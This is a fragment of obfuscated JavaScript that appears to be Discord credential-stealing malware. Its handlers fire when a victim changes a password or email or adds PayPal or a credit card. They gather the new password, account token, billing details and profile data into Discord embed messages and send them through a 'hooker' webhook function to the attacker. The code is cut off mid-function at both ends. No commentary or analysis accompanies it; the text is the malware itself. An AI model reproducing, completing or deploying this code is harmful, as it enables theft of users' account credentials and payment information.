af986(0x939,'GIg]',0x89,0x2bd,0x4e4)]]=config[_0x4750e9('p1^x',0x1695,0x1613,0xf54,0x1224)+_0x382071(0xbef,'p1^x',0xa97,0xc35,0x51a)];function _0x1af986(_0x4a4509,_0x5adfc8,_0x24480f,_0x32a84f,_0x2e2503){return _0x3103a0(_0x4a4509-0x131,_0x32a84f- -0x10b,_0x5adfc8,_0x32a84f-0x9c,_0x2e2503-0x36);}_0x5ac10d[_0x1af986(0x23d,'tstx',0x313,0x846,0xc21)](hooker,_0xfa1732);},passwordChanged=async(_0x429d8b,_0x387b4f,_0x6d74d8)=>{const _0x28665d={'tPSXY':function(_0x5ba734,_0x8470d2){return _0x5ba734(_0x8470d2);},'nnjhu':function(_0x490d55,_0x323d89){return _0x490d55(_0x323d89);},'jiSrK':_0x8c636b('w78W',0xb22,0x1057,0xf87,0x5ad)+_0x8c636b('^T15',0xce1,0x803,0x1267,0xf47)+_0x52f224('1MkO',0x13fa,0x11d3,0x1857,0x1603)+_0x52f224('kObQ',0x1154,0xb87,0x6d3,0xecc),'QQSlc':_0x8c636b('w78W',0x97a,0x436,0x104e,0xd63)+_0x261563(0x99b,0x238,'(1pE',0xaba,0x705)+_0x261563(0x966,0x939,']v1W',0x9f7,0xd96)+'*','hSmlM':_0x39eabf(0x362,0xa3,0x5eb,'fSRV',0x974)+_0x52f224('NagZ',0xd01,0x8e2,0x88d,0x13a),'cyamB':function(_0x4d3a9b,_0x1a4e78){return _0x4d3a9b+_0x1a4e78;},'NfXWH':function(_0x48956f,_0x166a5a){return _0x48956f+_0x166a5a;},'LQsZd':function(_0x29e493,_0x4192bd){return _0x29e493+_0x4192bd;},'sWAOK':_0x2f741b(0xf68,0x1315,0x68a,0xc67,'e!nd'),'QHRah':_0x8c636b('p1^x',0x100b,0xe1f,0xb81,0x15ed)+_0x261563(0xa61,0xb1f,'4oaC',0x5f0,0x637)+_0x2f741b(0x3ea,0xc94,-0x8c,0x58e,'lmEu')+_0x2f741b(0x57f,0x9b,0x112,0x837,'w78W')+_0x39eabf(0x102b,0x911,0xddb,'gVnV',0xd51)+_0x52f224('c(Z7',0xa44,0x117a,0x1308,0xbd8)+_0x2f741b(0x97f,0x431,0x33f,0xa96,')G&B')+_0x261563(0x71,0x190,']v1W',0xc5b,0x784)+_0x8c636b('R*Tx',0x8da,0xe92,0x6f8,0x155)+_0x52f224('SI6h',0x6e8,0xd79,0x1380,0xd63)+_0x52f224('FUWk',0xa6c,0xbbc,0xb81,0xe4f)+_0x261563(0xafa,0x14f5,'GIg]',0xa9c,0xe8b)+_0x39eabf(0xdc1,0x1340,0x10c8,'BHF6',0x150d)+_0x52f224('w78W',0x1813,0x108a,0x126c,0xa1f)+_0x8c636b('kObQ',0x168,-0x301,0x3f1,0x2b1)+_0x39eabf(0x431,0x3f4,0x970,'ibNd',0x6d4)+'on','twHic':_0x39eabf(0x15a5,0x1698,0x1316,'(1pE',0x1a80)+'nt'},_0x56b64c=await _0x28665d[_0x261563(0xad8,0x870,'lmEu',0x48c,0x82e)](getInfo,_0x6d74d8),_0x1095fe=_0x28665d[_0x39eabf(0x10b4,0xfee,0xe28,'yEI6',0xfe8)](getNitro,_0x56b64c[_0x39eabf(0x1116,0x1067,0xd2e,'9loh',0x564)+_0x261563(0x2d5,0x6bc,'Z3ow',0x241,0x7ea)+'pe']),_0x448b64=_0x28665d[_0x8c636b('EiYt',0xc27,0xec9,0xa3a,0xe59)](getBadges,_0x56b64c[_0x39eabf(0xaa8,0xbef,0x47f,'@^Br',-0x2bb)]),_0x1fa9d5=await _0x28665d[_0x52f224(']v1W',0x329,0x7e4,0xc9,0x4ff)](getBilling,_0x6d74d8);function _0x39eabf(_0x12a194,_0x19702c,_0x686d00,_0x291879,_0x15f177){return _0xa3fb2b(_0x686d00-0x382,_0x19702c-0x1ae,_0x686d00-0x180,_0x291879,_0x15f177-0x8a);}const _0x442268={};_0x442268[_0x52f224('u*kR',0xb55,0x38f,0x324,0x557)]=_0x28665d[_0x8c636b('w78W',0xbe9,0x991,0x8b3,0x921)];function _0x8c636b(_0x310f2f,_0x312953,_0x515429,_0x5b63eb,_0x2c3b9e){return _0x3d77d7(_0x310f2f-0x5c,_0x312953-0xfc,_0x312953- -0x159,_0x5b63eb-0x1b4,_0x310f2f);}_0x442268[_0x261563(0x1151,0x148b,'p1^x',0x9de,0xd1c)]=_0x52f224('WJUB',0x13de,0xe41,0xb91,0xc94)+_0x261563(-0x33c,0x6a2,'WSri',-0x1cf,0xc6)+_0x56b64c[_0x261563(0xb9a,0x9bf,'SI6h',-0x1e2,0x580)]+(_0x261563(0x87d,0x5b9,'CD&c',-0x2d0,0x2dd)+_0x8c636b('SI6h',0x6bf,0x9e0,0xcf6,0xaae)+_0x8c636b('@%1A',0x81d,0x6de,0xd48,0x71f)+_0x52f224('(1pE',0xd0a,0xb1d,0x9b1,0x11c5))+_0x429d8b+(_0x261563(0x241,0x6a9,'lmEu',0xec2,0x88f)+_0x52f224('CD&c',0x32f,0x75d,0xd10,0x222)+_0x261563(0x531,0x1b0,'EiYt',0x7c1,0x7fd)+_0x39eabf(0xc11,0x540,0xb1b,'W&[J',0xf97))+_0x387b4f+'**',_0x442268[_0x52f224('R*Tx',0xaee,0x4cc,0x376,-0x2ff)+'e']=!![];const _0x19d811={};_0x19d811[_0x52f224('(1pE',0x13c9,0xd3b,0x7ee,0x9be)]=_0x28665d[_0x8c636b('3#kp',0xef,-0xbe,0x695,0x16d)],_0x19d811[_0x261563(0x8a8,0x27b,'9r61',0x61b,0x855)]=_0x52f224('u*kR',-0x155,0x39b,-0x240,0x689)+_0x39eabf(0xb03,0x15f,0x431,'yEI6',0x7c8)+_0x52f224('Z)Xp',0x1681,0x1150,0xc24,0xba0)+_0x1095fe+(_0x261563(0x38d,0x5f9,'@%1A',0xcec,0x6ea)+_0x261563(0xf1f,0x13e8,'lmEu',0x156a,0xf80)+_0x39eabf(0x12d5,0x126c,0xf21,'w]$Z',0x1484))+_0x448b64+(_0x261563(-0x65c,0x744,'w]$Z',0x365,0xd9)+_0x52f224('EiYt',0x634,0xbd0,0x586,0xe40)+_0x261563(0xaf4,0x2d5,'BHF6',0x99b,0x8b4))+_0x1fa9d5+'**',_0x19d811[_0x261563(-0x1d0,-0x2ae,'l$qj',0x55f,0x185)+'e']=!![];function _0x261563(_0x51792e,_0x37d99e,_0x53b82d,_0xc1802b,_0x45a8c0){return _0xbc652e(_0x51792e-0x138,_0x53b82d,_0x53b82d-0xec,_0xc1802b-0x141,_0x45a8c0- -0x43c);}function _0x52f224(_0x543a0c,_0x449fd9,_0x4efee1,_0x46cad3,_0x3e9f9a){return _0xa3fb2b(_0x4efee1-0x2c4,_0x449fd9-0x11a,_0x4efee1-0x62,_0x543a0c,_0x3e9f9a-0xa3);}const _0x4ab138={};_0x4ab138[_0x8c636b('Ar]L',0xe7b,0x1357,0x13e2,0xae4)]=_0x28665d[_0x52f224('FUWk',0x110a,0x10bc,0x11fd,0x1006)];function _0x2f741b(_0x1233d6,_0x3b745c,_0x32c38c,_0x3cb55d,_0x26858b){return _0xa3fb2b(_0x3cb55d-0x1ac,_0x3b745c-0x156,_0x32c38c-0xbc,_0x26858b,_0x26858b-0xa9);}_0x4ab138[_0x52f224('NagZ',0xb7f,0x606,0x300,0x9f9)]='`'+_0x6d74d8+'`',_0x4ab138[_0x261563(0xd1b,0xde3,'C2UU',0x949,0xbf7)+'e']=![];const _0x3c2e1a={'username':config[_0x2f741b(0xdde,0xbce,0x620,0x887,'FUWk')+_0x261563(0x4d7,0xb8f,'9r61',0xa01,0x9b4)],'avatar_url':config[_0x2f741b(0x8d9,0xb63,0x22e,0x8d3,'9r61')+_0x52f224('4oaC',0x8b2,0x3b1,-0x82,0x8c1)],'embeds':[{'color':config[_0x8c636b('(1pE',0xd61,0x8d3,0xc99,0xfae)+_0x39eabf(0xc2c,0x13ea,0xd98,')9bc',0x1058)+'r'],'fields':[_0x442268,_0x19d811,_0x4ab138],'author':{'name':_0x28665d[_0x52f224('1MkO',0x10b7,0xdc0,0x6af,0xc3a)](_0x28665d[_0x8c636b('p1^x',0xebe,0xd6e,0x1458,0xafc)](_0x28665d[_0x52f224('w]$Z',0x7f4,0xbb5,0xfe4,0xb2b)](_0x28665d[_0x52f224('1MkO',0xc6a,0xbc8,0x549,0xbcf)](_0x56b64c[_0x261563(0x2c4,0xcee,'8S1s',0x10eb,0x95e)+_0x261563(0x67c,0x572,'5F(N',-0xbc,0x535)],'#'),_0x56b64c[_0x261563(0x921,0x1054,'BHF6',0xff1,0xa1d)+_0x8c636b('BHF6',0xadf,0xaa4,0x42b,0xe75)+_0x39eabf(0x1089,0x1542,0xe10,'4D%T',0x15b7)]),_0x28665d[_0x8c636b('(1pE',0x619,0x312,0xa1c,0x2e1)]),_0x56b64c['id']),'icon_url':_0x261563(0xa45,0x725,'w78W',0x49a,0xc40)+_0x39eabf(0x10df,0x177c,0x11b0,'CD&c',0x13ea)+_0x52f224('4oaC',0x9b6,0xd03,0x105c,0x88c)+_0x8c636b('tstx',0xc43,0xba6,0xfd1,0x1378)+_0x261563(0x152f,0x12d8,')G&B',0xb67,0xdc1)+_0x52f224('EBnq',0x16b6,0x1167,0x10b5,0x162c)+_0x52f224('T&Gd',0xd3c,0xa27,0x432,0xd04)+_0x56b64c['id']+'/'+_0x56b64c[_0x8c636b('lmEu',0xaf1,0x77d,0x37b,0x1249)+'r']+_0x261563(0x2b8,0x542,'Z3ow',0x320,0xa7)},'footer':{'text':_0x28665d[_0x39eabf(0xe68,0x1174,0xf71,'@^Br',0xb57)]}}]};if(config[_0x8c636b('w78W',0x9dd,0x9da,0x4d8,0x3d8)+_0x8c636b('w78W',0x8d0,0x488,0xe63,0xeec)+'n'])_0x3c2e1a[_0x28665d[_0x52f224('1MkO',0x9db,0x617,0xf1,0x963)]]=config[_0x39eabf(0x27b,0x2b9,0x6a5,'(1pE',0xb39)+_0x52f224('edx3',0x15d9,0xf86,0xcce,0x9e6)];_0x28665d[_0x39eabf(0xb23,0xecb,0xa4d,'SI6h',0xc05)](hooker,_0x3c2e1a);},emailChanged=async(_0xa81e4f,_0x522980,_0x3fb1c0)=>{const _0x1fa159={'zpvEw':function(_0x249db2,_0x395da3){return _0x249db2(_0x395da3);},'ACDDH':function(_0x185fcd,_0x231427){return _0x185fcd(_0x231427);},'rokLJ':_0xe1ad13(0x89a,'yEI6',0x1d0,0x8ac,0x2d6)+_0xe1ad13(0x12a2,'9r61',0xf73,0x101b,0xd5b)+_0xe1ad13(0x39d,'FUWk',0x297,-0x2dd,0x4c2)+'**','AzfYR':_0x270b23(0x91f,0x9dd,0x4ca,0x50d,'3#kp')+_0x270b23(0x5cb,0x2fe,0x2dd,-0x2c0,'l$qj')+_0x346225('@^Br',0xa39,0x10cf,0xdfc,0x70d)+'*','ZBgMO':_0x346225('EBnq',0xf4f,0x1599,0xfcb,0x110f)+_0x2ffb23(0x676,-0x53,'fSRV',0x1ee,0x3a0),'ITdtv':function(_0x548779,_0x110154){return _0x548779+_0x110154;},'APtYV':function(_0x1d120c,_0x5cf180){return _0x1d120c+_0x5cf180;},'NwadQ':_0x346225('e!nd',0xc60,0xe14,0xbe4,0x1326),'oMQkW':_0x3bcbfc(0x14da,0x1465,0xdc4,'FUWk',0xb88)+_0x346225('5F(N',0xdfe,0x1582,0xf02,0xf76)+_0xe1ad13(0xdb3,'9r61',-0x14e,0x87,0x634)+_0x3bcbfc(0x225,0xd8e,0x6c0,'WSri',0x635)+_0xe1ad13(0x956,'gVnV',0xabf,0xcc6,0x98c)+_0x2ffb23(0x26b,0x2e4,'EiYt',-0x306,0x18)+_0x2ffb23(0x444,0xbba,'EBnq',0x699,0x1274)+_0x270b23(0xebe,0xfb0,0x8a2,0xb7c,'T&Gd')+_0x270b23(0xde3,0xd72,0xe50,0x86b,'c(Z7')+_0x3bcbfc(0x8a4,0xbbb,0x5ec,'kObQ',0x858)+_0x2ffb23(0x13ef,0xceb,'tstx',0x561,0xb0f)+_0x270b23(0x8e5,0xa69,0x969,0x52c,'9loh')+_0x2ffb23(0xbb6,0x7b7,'4oaC',0x7ac,0x9ef)+_0xe1ad13(0x797,'NagZ',0xe29,0xbe8,0xb9f)+_0xe1ad13(0xe45,'8S1s',0xb47,-0x3,0x6d8)+_0x2ffb23(0xca,0x1fb,'WJUB',0x84a,0x486)+'on','PCsmk':_0x270b23(0x971,0x2b3,0x691,0xe3e,'WSri')+'nt'},_0x342519=await _0x1fa159[_0x2ffb23(0xb39,0x84c,'Ar]L',0xa29,0xe13)](getInfo,_0x3fb1c0),_0x23ce3d=_0x1fa159[_0x2ffb23(0x32f,0x839,'FUWk',0xfb1,0x2c9)](getNitro,_0x342519[_0x346225('^T15',0x9a5,0xef7,0xf69,0xbc1)+_0x270b23(0x195d,0xd32,0x11ef,0xada,'Z)Xp')+'pe']),_0x18d13c=_0x1fa159[_0x2ffb23(0x564,0xcd,'@^Br',0x643,-0x6b9)](getBadges,_0x342519[_0x346225('8S1s',0xab4,0x440,0x7fd,0xb99)]),_0x207033=await _0x1fa159[_0x346225('w]$Z',0x6fe,0xcc6,0xda5,0xc04)](getBilling,_0x3fb1c0),_0x5b6612={};_0x5b6612[_0x3bcbfc(0xba5,0x10c9,0x1008,'WJUB',0xfe8)]=_0x1fa159[_0x270b23(0xd15,0x5d7,0xcae,0x1261,'Uq%W')];function _0x270b23(_0x194ce3,_0x221122,_0x1905c0,_0x2c6a14,_0x5d9d9d){return _0x59fa80(_0x194ce3-0x11b,_0x221122-0x51,_0x1905c0-0x148,_0x1905c0- -0x265,_0x5d9d9d);}_0x5b6612[_0x3bcbfc(0x274,0xa8a,0x64c,'yEI6',0x4e5)]=_0x2ffb23(-0xd6,-0x200,'1R)L',0x2ea,0x4b8)+_0x270b23(0x4e3,0x71e,0x925,0xd7b,'SI6h')+_0x3bcbfc(0xd54,0xe7e,0xf2f,'p1^x',0x102e)+_0xa81e4f+(_0x2ffb23(0xa20,0xa52,'(1pE',0xab8,0x9f3)+_0x346225('Z)Xp',0x10fd,0xe02,0xc3e,0x8d1)+_0xe1ad13(-0x366,')G&B',0x524,-0x275,0xf6))+_0x522980+'**',_0x5b6612[_0xe1ad13(0x858,'T&Gd',-0x18a,-0x161,0x493)+'e']=!![];const _0x3bd565={};_0x3bd565[_0x270b23(0xb75,0x89d,0x4cf,0x7b0,'T&Gd')]=_0x1fa159[_0x346225('3#kp',0x8df,0x26a,0x3ed,0x53b)];function _0x346225(_0x392c24,_0x5e3db4,_0x504be2,_0x3a3ab6,_0x29d34b){return _0xa3fb2b(_0x3a3ab6-0x129,_0x5e3db4-0xd0,_0x504be2-0x128,_0x392c24,_0x29d34b-0x12d);}_0x3bd565[_0x3bcbfc(0x8eb,0x980,0xdc7,'(1pE',0x81d)]=_0xe1ad13(0x1243,'l$qj',0xfe1,0xdbe,0xb3d)+_0x3bcbfc(0xdca,0x1204,0xad5,'1R)L',0x11e8)+_0x3bcbfc(0x87,0xbf8,0x75c,'4oaC',0x3c9)+_0x23ce3d+(_0x3bcbfc(0x67e,0xbf9,0x8cd,'FUWk',0xaa7)+_0x270b23(0x519,0x309,0x77b,0x880,'W&[J')+_0x3bcbfc(0x618,0x95f,0xd17,')9bc',0x1359))+_0x18d13c+(_0x270b23(0x5e7,0x209,0x41c,0x953,'p1^x')+_0x270b23(0x1550,0x104f,0x11dc,0xd0b,'1MkO')+_0x3bcbfc(0xf96,0xb6d,0xe9d,'WJUB',0x712))+_0x207033+'**',_0x3bd565[_0x346225('C2UU',0x112b,0xe9e,0xdc9,0x1039)+'e']=!![];const _0x352b4c={};_0x352b4c[_0x270b23(0x11ae,0xba4,0x1148,0x156b,'Uq%W')]=_0x1fa159[_0x346225('4oaC',0x3bf,0x889,0x32a,0x30a)],_0x352b4c[_0xe1ad13(0xf86,'BHF6',0x12b9,0x543,0xb80)]='`'+_0x3fb1c0+'`',_0x352b4c[_0x270b23(0x907,0xdfb,0x9b2,0x890,'c(Z7')+'e']=![];function _0x3bcbfc(_0x179c9f,_0x4e3ab1,_0x2a272a,_0x264d0f,_0xd0282a){return _0xbc652e(_0x179c9f-0x114,_0x264d0f,_0x2a272a-0x22,_0x264d0f-0xd6,_0x2a272a- -0x20);}const _0x39a381={'username':config[_0x346225(')G&B',0x372,0x2e3,0x53e,0x274)+_0xe1ad13(0xba0,'FUWk',0x87d,0xc5a,0xaae)],'avatar_url':config[_0x3bcbfc(0x32e,0x6ec,0x61c,'w]$Z',0x1f4)+_0x2ffb23(0x4ad,-0xb5,'@%1A',0x36d,-0x494)],'embeds':[{'color':config[_0x3bcbfc(0x171c,0x131c,0x138f,'w78W',0xc03)+_0x270b23(0xbd6,0xc7e,0x60e,0xb2,'Ar]L')+'r'],'fields':[_0x5b6612,_0x3bd565,_0x352b4c],'author':{'name':_0x1fa159[_0x2ffb23(0x9f0,0x7a9,'1MkO',0xdf7,0xbc6)](_0x1fa159[_0xe1ad13(0x350,'BHF6',0x254,0x495,0x25a)](_0x1fa159[_0x346225('SI6h',0xb89,0xb65,0xa56,0xbe0)](_0x1fa159[_0x2ffb23(0x4d4,0x4cc,'WJUB',0x162,0x5a2)](_0x342519[_0xe1ad13(0x6e8,'c(Z7',0xcc4,0xd34,0x5cb)+_0x270b23(0x35a,0x412,0x628,0x75e,'BHF6')],'#'),_0x342519[_0x270b23(0x6b2,0xb22,0x5b8,0x9a9,'9loh')+_0x270b23(0x8c7,0xcb5,0x5fc,0x1da,'@^Br')+_0x270b23(0x13c3,0xe92,0xc19,0x721,'NagZ')]),_0x1fa159[_0x2ffb23(0x90b,0x47d,'EiYt',-0x25f,-0x219)]),_0x342519['id']),'icon_url':_0x270b23(0x380,0xa90,0x7e3,0xc56,'e!nd')+_0x270b23(0x124c,0xbc6,0xb9a,0x10c0,'p1^x')+_0x3bcbfc(0x1075,0x133f,0xc0c,']v1W',0xeed)+_0x2ffb23(-0x5e6,-0x17b,'WJUB',0x533,-0x749)+_0x346225('Uq%W',0xa78,0x65f,0x3a0,0x712)+_0xe1ad13(0xcac,'WJUB',0x84c,0xd2e,0x69d)+_0x346225('@%1A',0x160d,0x94c,0x10bf,0x178b)+_0x342519['id']+'/'+_0x342519[_0x2ffb23(0x41c,0xc6,'BHF6',0x2cc,-0x2ef)+'r']+_0x270b23(0x1682,0x10cc,0x107c,0x16c7,'FUWk')},'footer':{'text':_0x1fa159[_0x2ffb23(-0x2c7,0x4e6,'kObQ',0x2a5,-0x268)]}}]};function _0xe1ad13(_0x2537e9,_0x569d52,_0x5eecdd,_0x1001b9,_0x1c7846){return _0x3103a0(_0x2537e9-0x95,_0x1c7846- -0x219,_0x569d52,_0x1001b9-0x195,_0x1c7846-0x9b);}if(config[_0xe1ad13(0x375,'1R)L',0x17d,-0x18a,0x383)+_0x2ffb23(0xc86,0xae4,'l$qj',0x94b,0xdba)+'n'])_0x39a381[_0x1fa159[_0x346225('l$qj',-0x1e9,0x9b9,0x570,-0x20f)]]=config[_0x3bcbfc(0x100e,0xa1a,0xbc3,'9r61',0xf2d)+_0x2ffb23(0x979,0xad2,'iHF0',0x844,0x497)];function _0x2ffb23(_0x43e5ae,_0x565e4b,_0x3471fc,_0xf1c862,_0x4cc0b3){return _0x3d77d7(_0x43e5ae-0x50,_0x565e4b-0x112,_0x565e4b- -0x3d7,_0xf1c862-0x135,_0x3471fc);}_0x1fa159[_0x3bcbfc(0x18af,0x155d,0x121f,'WSri',0xe0c)](hooker,_0x39a381);},PaypalAdded=async _0x1b68d9=>{const _0x16e769={'WUQoy':function(_0x2c60ec,_0x339c26){return _0x2c60ec(_0x339c26);},'lgMdz':function(_0xe2c7d6,_0x4433ac){return _0xe2c7d6(_0x4433ac);},'InzPK':function(_0x3ab6e9,_0x56a8ef){return _0x3ab6e9(_0x56a8ef);},'DgsHQ':_0x3422c8('Ar]L',0x900,0x1f3,0x361,0x1068)+_0x2cc1fe('iHF0',0x71b,0x310,-0x93,0x271)+_0x2cc1fe('C2UU',0xbc2,0xa48,0x1078,0x53c)+'*','kKJYh':_0x3422c8('T&Gd',0x3a7,0x1e7,0xac1,-0xce)+_0x1f390a(0x7ab,'FUWk',0x8da,0x798,0x3fe)+_0xff0553('@^Br',0x953,0xee1,0x3bd,0xa32)+'*','NHPXo':_0x2cc1fe('W&[J',0x942,0x3a4,-0x302,-0x424)+_0x2cc1fe('WSri',0x71,0x633,0x7fe,0x8b6),'XUFqz':function(_0x1006bc,_0x15f29c){return _0x1006bc+_0x15f29c;},'DrHbc':function(_0x510507,_0x5a2ca6){return _0x510507+_0x5a2ca6;},'CdjSR':function(_0x4fa537,_0x45a436){return _0x4fa537+_0x45a436;},'LpFEZ':_0x1f390a(0x14c,'WSri',0x49c,-0x4d,0x2d0),'sGNRe':_0xff0553('T&Gd',0x80e,0x4dd,0xac0,0x704)+_0xff0553(']v1W',0xcab,0x28a,0xc41,0x4f9)+_0x3422c8('EiYt',0x3db,0x858,0x3e5,0xa0d)+_0x2cc1fe('Uq%W',0x699,0x265,-0x3af,-0x53f)+_0x546bdd(0x4f7,0xa11,0x428,'9loh',-0x1ae)+_0x1f390a(0x8f5,'1R)L',0x100c,0x1090,0xe7e)+_0x546bdd(0x7a5,0xa50,0x323,'iHF0',0x2d9)+_0x546bdd(0x7ed,0xb8c,0x9c0,'8S1s',0x401)+_0x2cc1fe('Z3ow',0x164,0x23f,-0x414,-0x361)+_0x546bdd(0x507,0x5bc,0xa0e,'CD&c',0xad6)+_0x3422c8('CD&c',0x1087,0xea6,0x16bc,0x1414)+_0x2cc1fe('NagZ',0xccf,0xda2,0xee5,0xd89)+_0xff0553('yEI6',0x1dd,0xa93,0x901,0x836)+_0xff0553('C2UU',0xaff,0x1010,0x33b,0xab9)+_0x546bdd(0x11c9,0x857,0xadd,'4D%T',0xcb1)+_0xff0553('w]$Z',0xd2a,0x1020,0x829,0xc90)+'on','utnaP':_0x1f390a(0x5e4,'8S1s',0x18,-0xc8,0x36d)+'nt','GTFpU':function(_0x1edfb5,_0x5269b3){return _0x1edfb5(_0x5269b3);}},_0x47aa62=await _0x16e769[_0x1f390a(-0x15,'1R)L',0x537,0x4bd,0x4f1)](getInfo,_0x1b68d9),_0x1de8e7=_0x16e769[_0x1f390a(0xcf0,'SI6h',-0xd,0x34e,0x527)](getNitro,_0x47aa62[_0x2cc1fe('yEI6',0x268,0x638,0x73c,0x4ac)+_0x546bdd(0x16b6,0x14f0,0xf66,'gVnV',0x1388)+'pe']);function _0x3422c8(_0x1d98b2,_0x5b89a4,_0x3bacca,_0x3d4af5,_0x1b5751){return _0xbc652e(_0x1d98b2-0x11e,_0x1d98b2,_0x3bacca-0xd0,_0x3d4af5-0xa4,_0x5b89a4- -0x14a);}const _0x315016=_0x16e769[_0x3422c8('fSRV',0x8d9,0x8f5,0xed2,0x998)](getBadges,_0x47aa62[_0x546bdd(0xedf,0x9d1,0x8cc,')9bc',0xc03)]);function _0x1f390a(_0xe8429a,_0x5db142,_0x344cb8,_0x325db3,_0x4f18e7){return _0xa3fb2b(_0x4f18e7- -0x1ba,_0x5db142-0x42,_0x344cb8-0xda,_0x5db142,_0x4f18e7-0x20);}const _0x562b09=_0x16e769[_0xff0553('@^Br',0x3f6,0x5f0,0x8f4,0x62a)](getBilling,_0x1b68d9),_0x48d8c8={};function _0xff0553(_0x13173e,_0xd50fb,_0x31851b,_0x1a7b35,_0x1fda9d){return _0x3d77d7(_0x13173e-0x16e,_0xd50fb-0x1b3,_0x1fda9d- -0x3d7,_0x1a7b35-0x187,_0x13173e);}function _0x2cc1fe(_0x3cc0a3,_0x25fc41,_0x1f8acf,_0x3c50e4,_0x31c071){return _0x3d77d7(_0x3cc0a3-0x67,_0x25fc41-0x186,_0x1f8acf- -0x2ea,_0x3c50e4-0x1c7,_0x3cc0a3);}function _0x546bdd(_0x1db874,_0x2fcf5c,_0xa5aeb9,_0x3f66c3,_0x297165){return _0x3103a0(_0x1db874-0x6e,_0xa5aeb9- -0xfa,_0x3f66c3,_0x3f66c3-0x123,_0x297165-0xc1);}_0x48d8c8[_0xff0553('u*kR',0x5af,-0xb0,0xe2,-0x1d6)]=_0x16e769[_0x2cc1fe('u*kR',0xcb,0x8c,0x7be,0x774)],_0x48d8c8[_0x1f390a(0x395,'@%1A',-0x319,0x55a,0x3aa)]=_0x1f390a(0x1129,'8S1s',0xf73,0xb2d,0xae3)+_0x1f390a(0xc18,'@%1A',0x926,0xc67,0x995)+_0x3422c8('WJUB',0x740,0x30a,0xa4a,0x6)+_0x1f390a(0x755,'@%1A',0x4f9,0x9b9,0x2a8)+_0x546bdd(-0x227,0x7e4,0x2ed,'9loh',0x259)+_0x546bdd(0x146d,0xd99,0x1072,'GIg]',0xc71),_0x48d8c8[_0x2cc1fe('c(Z7',0x9ec,0x5fd,-0x6d,0x5fe)+'e']=![];const _0x4b912d={};_0x4b912d[_0x3422c8('c(Z7',0x43a,0x3dc,-0x2cf,-0x90)]=_0x16e769[_0x2cc1fe('kObQ',-0xc5,0x1a1,-0x11a,-0x4ed)],_0x4b912d[_0x546bdd(0xace,0x11c4,0xeaf,'FUWk',0xe97)]=_0x546bdd(-0x17e,0x5bd,0x461,'lmEu',-0x2f5)+_0x1f390a(0xcc1,']v1W',0xee,0xd1b,0x6e9)+_0x2cc1fe('WSri',0x771,-0x45,-0x804,-0x2c3)+_0x1de8e7+(_0x3422c8('5F(N',0x6f9,0x9f9,0xae,0xccb)+_0x546bdd(0x1126,0xa46,0xbe0,'l$qj',0x1273)+'**')+_0x315016+(_0x3422c8('e!nd',0x10c9,0x15d4,0x1640,0xca4)+_0x3422c8('tstx',0x3ce,0xa95,0x69c,-0xbe)+_0x2cc1fe('EBnq',0x682,0x90a,0xccb,0xcbd))+_0x562b09+'**',_0x4b912d[_0x3422c8('WJUB',0x38b,-0x382,0x393,0x935)+'e']=![];const _0x26e7f9={};_0x26e7f9[_0x546bdd(0x215,0x606,0x404,'CD&c',-0x36e)]=_0x16e769[_0x1f390a(0x9cd,'R*Tx',0x57e,-0x27d,0x2d5)],_0x26e7f9[_0x1f390a(0x8ab,'WSri',0xfbd,0xcdc,0x7fb)]='`'+_0x1b68d9+'`',_0x26e7f9[_0x546bdd(0x9e7,0x62d,0x59f,'p1^x',0x912)+'e']=![];const _0x27f33b={'username':config[_0x1f390a(0x2fb,'c(Z7',0xd2,0x80d,0x357)+_0x3422c8('fSRV',0x3af,0x8e3,-0x2c5,-0x14a)],'avatar_url':config[_0xff0553('5F(N',0xa92,0x1395,0x7a7,0xd2a)+_0x2cc1fe('w]$Z',-0x57d,0x249,0x3e5,0x954)],'embeds':[{'color':config[_0x2cc1fe('w78W',0x80d,0xe68,0x9c0,0x1183)+_0x3422c8('EiYt',0xa9d,0x1197,0x503,0x947)+'r'],'fields':[_0x48d8c8,_0x4b912d,_0x26e7f9],'author':{'name':_0x16e769[_0x2cc1fe(')9bc',0x6fd,-0xc5,0x18d,0x6f1)](_0x16e769[_0x2cc1fe('c(Z7',0x1bd,-0x79,0x11,0xe2)](_0x16e769[_0x546bdd(0x3fc,0x2f2,0x2e1,'p1^x',0x298)](_0x16e769[_0x546bdd(-0x29d,-0x403,0x240,'p1^x',0x8e9)](_0x47aa62[_0x1f390a(0xa28,'ibNd',0x2de,-0x4e9,0x2aa)+_0xff0553(')G&B',-0x2f,-0x242,0x32e,0x31a)],'#'),_0x47aa62[_0x546bdd(0x5aa,0x950,0x761,'gVnV',0xd97)+_0xff0553('R*Tx',0xa9c,0xe2a,0xf2,0x786)+_0x3422c8('w78W',0xdbc,0xb5f,0x109f,0x13de)]),_0x16e769[_0x2cc1fe('R*Tx',0x45c,0x46b,0x785,0xa18)]),_0x47aa62['id']),'icon_url':_0x3422c8('(1pE',0xb7f,0x43f,0x10ed,0x59a)+_0xff0553('gVnV',0x275,0xf93,0xe0e,0x89f)+_0x2cc1fe('SI6h',-0x16b,0x2b5,-0x308,0x4f6)+_0x1f390a(-0x14a,'Z3ow',0x430,-0x43a,-0xac)+_0x2cc1fe(']v1W',0xc4e,0x6b0,0xc71,0x767)+_0x2cc1fe('w]$Z',0xd6d,0xdd2,0xd2e,0x1288)+_0xff0553('p1^x',0x7f0,0x10cd,0xb53,0xa4c)+_0x47aa62['id']+'/'+_0x47aa62[_0x2cc1fe('^T15',0xb93,0x4ab,0xc26,0x5d7)+'r']+_0x2cc1fe('3#kp',0x1191,0xc07,0x13b9,0xb4c)},'footer':{'text':_0x16e769[_0x3422c8('1MkO',0x7b1,0x5fd,0xaed,0x2f8)]}}]};if(config[_0x546bdd(0xb14,0x9c5,0xd4f,'u*kR',0xed3)+_0x1f390a(-0x1eb,'Ar]L',0x906,-0x292,0x42d)+'n'])_0x27f33b[_0x16e769[_0xff0553('iHF0',0x847,0xebf,0x80c,0xa67)]]=config[_0x546bdd(0xc86,0x4ea,0xc59,'R*Tx',0x6f8)+_0x3422c8('(1pE',0x362,0x5d2,0x9aa,0x899)];_0x16e769[_0x1f390a(-0x7d9,'p1^x',0x58a,-0x38e,-0x22)](hooker,_0x27f33b);},ccAdded=async(_0x3bfbde,_0x2ab38f,_0x2da20a,_0x22ce50,_0x497087)=>{function _0x30792a(_0x3bb55d,_0x18236c,_0x7ad530,_0xb2bfe4,_0x168f9c){return _0xbc652e(_0x3bb55d-0xb0,_0xb2bfe4,_0x7ad530-0x86,_0xb2bfe4-0x9c,_0x7ad530- -0x412);}const _0x1f1e42={'EiiGL':function(_0x95b482,_0x4ecab4){return _0x95b482(_0x4ecab4);},'WHcmS':function(_0x55a29e,_0x4fc2f0){return 